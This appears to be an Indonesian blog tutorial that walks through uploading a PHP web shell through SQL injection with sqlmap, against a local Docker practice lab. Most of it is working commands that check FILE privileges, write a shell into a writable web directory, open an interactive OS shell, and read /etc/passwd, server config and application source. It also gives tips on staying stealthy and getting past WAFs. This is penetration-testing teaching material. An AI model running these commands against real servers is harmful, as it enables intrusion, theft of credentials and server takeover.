Tutorial Upload Shell Menggunakan SQLMap

Sudah cukup lama saya nggak update blog ini, jadi mumpung lagi semangat produktif, kali ini saya akan berbagi tutorial lanjutan seputar eksploitasi SQL Injection. Pada skenario tertentu, kerentanan SQLi nggak cuma bisa dipakai untuk baca data — tapi juga bisa diekskalasi hingga mendapatkan akses Remote Code Execution (RCE) dan potensi server takeover secara penuh.

Lab Setup

Untuk lab, kita masih menggunakan environment yang sama seperti di tutorial dasar SQL Injection sebelumnya. Jalankan perintah berikut untuk mem-boot lab SQLi secara lokal:

docker run --rm -it -p 127.0.0.1:1339:80 linuxsec/sqli-labs

Oke sekarang lab kita ready di http://127.0.0.1:1339.

Seperti di pembahasan artikel sebelumnya, ada kerentanan SQL Injection di endpoint http://127.0.0.1:1339/data.php?id=1. Langsung saja kita mulai dengan proof of concept dasar menggunakan sqlmap:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --dbs

Prerequisite

Kita asumsikan kamu sudah tahu apa langkah selanjutnya setelah berhasil mengonfirmasi adanya kerentanan SQL Injection seperti pada contoh sebelumnya. Kalau belum familiar, kamu bisa cek artikel saya sebelumnya yang membahas dasar-dasar SQL Injection terlebih dahulu.
Nah, karena topik kali ini fokus ke upload web shell via SQL Injection, ada beberapa prasyarat penting yang perlu dipenuhi dari sisi target:
  • User database punya hak FILE atau WRITE FILE: Ini penting karena tanpa privilege ini, kita nggak bisa menulis file ke sistem.
  • Kita tahu path web root target: Contohnya /var/www/html/, tempat di mana file .php bisa dieksekusi via browser.
  • Ada writable path di server: Bisa di webroot atau direktori lain yang bisa ditulis oleh MySQL/MariaDB user.

Langkah pertama: kita perlu tahu siapa user database kita dan apa saja hak aksesnya. SQLMap menyediakan dua flag penting untuk ini:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --current-user --privileges

  • --current-user → Menampilkan user SQL yang sedang digunakan.
  • --privileges → Menampilkan daftar hak akses user tersebut, termasuk apakah punya FILE atau WRITE FILE.

Dari hasil query sebelumnya, kita dapat informasi bahwa user database yang aktif adalah: eva@localhost.

Sekarang, mari kita cek apakah user ini memiliki hak akses yang memadai untuk eksploitasi RCE — khususnya FILE privilege.

Dan ternyata... yes, user ini memiliki hak akses FILE. Artinya, kita bisa menulis file ke sistem, sebuah kunci utama untuk upload shell.

Kalau kamu ingin konfirmasi dengan cara lain, bisa juga pakai perintah ini:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1" --technique=U --batch -D mysql -T user -C user,file_priv --where="user = 'eva'" --dump

Oke syarat pertama sudah terpenuhi. Syarat kedua: kita harus tahu di mana webroot dari server ini.

Ada dua pendekatan umum:

Reflected error path → Kadang path penuh ke file muncul saat error, seperti screenshot dibawah ini. Dari situ, kita bisa tahu path-nya ada di: /var/www/html/.

Default webroot path → Kalau error nggak muncul, kamu bisa cari tahu jenis web server-nya (Apache/Nginx), lalu tebak path-nya:

  • Apache: /var/www/html/
  • Nginx: /usr/share/nginx/html/

Bisa juga bantu dengan tools seperti whatweb, atau ya... tanya AI.

Nah, ini bagian yang paling sering jadi kendala: menentukan direktori yang bisa ditulisi oleh user MySQL.

Dalam demo lab ini, kita beruntung. Setelah login ke dashboard, kita melihat ada fitur upload gambar. File-nya disimpan di URL berikut:

  • http://127.0.0.1:1339/img/

Dari sini, kita bisa berasumsi path server-nya adalah:

  • /var/www/html/img/

Dan karena file upload berhasil, direktori img/ bisa dipastikan writable. Artinya... kita punya target lokasi untuk upload shell!

Exploitation

Sekarang kita masuk ke tahap utama — upload web shell ke server target menggunakan SQLMap. Caranya cukup simpel dan langsung:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --file-write="/tmp/webshell.php" --file-dest="/var/www/html/img/pwn.php"

Penjelasan:

  • /tmp/webshell.php → Path file shell di mesin attacker (lokal).
  • /var/www/html/img/pwn.php → Path tujuan di server target tempat file akan ditulis.

Shell bisa diakses di url http://127.0.0.1:1339/img/pwn.php.


Sebagai opsi lain, SQLMap sebenarnya menyediakan fitur otomatis untuk mendapatkan shell:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --os-shell

Fitur ini akan:

  • Meng-upload web shell ke server.
  • Memberikan prompt interaktif agar kamu bisa langsung menjalankan command dari terminal.

Namun secara pribadi, saya tidak terlalu merekomendasikan pendekatan ini, karena beberapa alasan:

  • Log server jadi "berisik": SQLMap akan mencoba berbagai path default untuk shell upload. Ini bisa memunculkan banyak 404, 403, error, dan jejak yang mencurigakan di access log target.
  • Rawan diblok WAF: Web shell default milik SQLMap terkadang dikenali dan diblok oleh WAF modern. Terutama karena namanya, parameternya, atau bahkan isi payload-nya.

Jadi, pendekatan manual dengan --file-write dan custom shell jauh lebih stealthy dan terkontrol — apalagi kalau kamu ingin tetap low profile dalam engagement.

What if: Tidak Menemukan Writable Path?

Lalu bagaimana kalau ternyata kita gagal menemukan direktori yang writable di server target?

Tenang, selama kita memiliki privilege FILE, kita masih bisa memanfaatkan celah tersebut untuk membaca file penting di dalam sistem target. Ini bisa sangat membantu dalam information gathering lanjutan, bahkan tanpa perlu menulis shell ke server. Untuk mulai eksplorasi, kita bisa langsung coba membaca file standar seperti /etc/passwd:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --file-read="/etc/passwd"

Kadang dari file konfigurasi web server, kita bisa menemukan webroot path yang sebelumnya tidak kita ketahui. Contohnya:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --file-read="/etc/apache2/httpd.conf"

File tersebut biasanya mengandung informasi seperti DocumentRoot, direktori log, hingga modul yang aktif.

Kita juga bisa coba membaca file PHP atau konfigurasi yang berada di dalam webroot untuk menggali informasi sensitif, seperti credentials, API key, atau struktur aplikasi:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --file-read="/var/www/html/data.php"

Kalau kamu lebih suka menggunakan pendekatan berbasis query, LOAD_FILE() tetap bisa diakses melalui flag --sql-query, misalnya:

sqlmap -u "http://127.0.0.1:1339/data.php?id=1*" --technique=U --batch --sql-query="SELECT LOAD_FILE('/etc/passwd')"

Oke, mungkin itu dulu sharing singkat kali ini soal eksploitasi lanjutan dari SQL Injection dengan fokus pada upload shell dan file read menggunakan SQLMap. Semoga tulisan ini bisa menambah insight dan membantu kamu dalam proses pentesting atau belajar eksploitasi.

Kalau kamu punya pertanyaan, ide tambahan, atau request topik lain, feel free buat komentar atau DM.

Sampai jumpa di tulisan berikutnya!

Posting Komentar untuk "Tutorial Upload Shell Menggunakan SQLMap"